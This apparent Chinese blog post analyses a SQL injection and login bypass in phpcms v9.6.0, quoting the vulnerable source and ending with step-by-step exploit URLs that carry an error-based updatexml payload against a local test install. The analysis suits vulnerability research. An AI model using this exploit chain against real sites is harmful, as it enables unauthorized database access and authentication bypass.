phpcms_v9.6.0前台注入分析

phpcms_v9.6.0的一个sql注入漏洞,无任何限制,危害不小。还是挺有意思的,于是记录一波。

0x1 安全过滤函数safe_replace

\phpcms\libs\functions\global.func.php

safe_replace($string) {
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string); $string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

0x2 注入触发点

\phpcms\modules\content\down.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id));

最重要的点这里parse_str的函数有个特性,会把%27解析成单引号,所以结合前面的safe_replace函数我们用%*27就能绕过过滤

然后我们再看看下一个重点

1
2
parse_str($a_k);
if(isset(\$i)) \$i = \$id = intval(\$i);

这里比较明显可以变量覆盖,前面的parse_str() 函数可以产生我们想要的任何变量,
我们不获得 \$i 而是直接获取 \$id ,就不会进入intval了

所以这里我们需要一个由sys_auth函数加密的a_k字符串。

找其中一处用到sys_auth函数加密的地方,这里的src最后先get传送给set_cooke,然后set_cookie里面再调用sys_auth来加密src

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
echo $json_str;
param::set_cookie('att_json',$json_str);
return true;

0x3 绕过登陆限制

1.绕过登陆的限制,这里用了sys_auth去解密post提交的userid_flash,如果不为空就认为登陆成功,这里可以伪造userid_flash

1
2
$this->userid = $_SESSION['userid'] ?$_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
这一行就是在获取userid来作为判断是否登陆的依据

phpcms/modules/wap/index.php 中可以传入siteid到set_cookie中 从而可以用sys_uth来加密我们想要的userid_flash

1
2
3
4
5
6
7
8
9
10
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
//这一行就是传经set_cookie,set_cookie会经过sys_auth加密,
所以我们可以控制siteid的出入,生成一个绕过登陆的userid
$this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
if($this->wap['status']!=1) exit(L('wap_close_status'))

0x4 开始利用

1、

先访问index.php?m=wap&c=index&a=init&siteid=1
cookie里面会有一个xxx_siteid,我们提取出来然后赋值给userid_flash,
以后我们每次发攻击包都带着这个userid_flash

2、

构造我们想要获取的加密字符串放入src 参数
http://127.0.0.1:82/phpcms9.6.0//index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&filename=test.jpg&src=&id=3%*27and updatexml(1,concat(0x7e,@@version),1)%23&catid=1&m=3&modelid=3&f=xxx

3、

将src 参数后面的url编码一次,访问
http://127.0.0.1:82/phpcms9.6.0//index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&filename=test.jpg&src=%26id%3D3%25%2a27and%20updatexml%281%2Cconcat%280x7e%2C@@version%29%2C1%29%2523%26catid%3D1%26m%3D3%26modelid%3D3%26f%3Dxxx

4、

取得cookie xxxx_att_json 的值
7542s9cd1Zysq4BatVr2IhZHpTeOU3mMf94DmbM4qyKjg1E3Xj-hXD6df0SNdBpRYqrlm-mL8yeBQTN2fkCNSqUs25BG3NJQ4OxoNYi7nzA7ZsRlQg2bM2o3UYreVCb0lQUs6-9rfPbdzvl0cqqMBvnvaiAyMY4ZIQUJfWTabSzNs6bZbIzDyk2bLBWYpR18Nk3Fdn8

5、

将密文带入 a_k 参数中访问链接
http://127.0.0.1:82/phpcms9.6.0/index.php?m=content&c=down&a=init&a_k=7542s9cd1Zysq4BatVr2IhZHpTeOU3mMf94DmbM4qyKjg1E3Xj-hXD6df0SNdBpRYqrlm-mL8yeBQTN2fkCNSqUs25BG3NJQ4OxoNYi7nzA7ZsRlQg2bM2o3UYreVCb0lQUs6-9rfPbdzvl0cqqMBvnvaiAyMY4ZIQUJfWTabSzNs6bZbIzDyk2bLBWYpR18Nk3Fdn8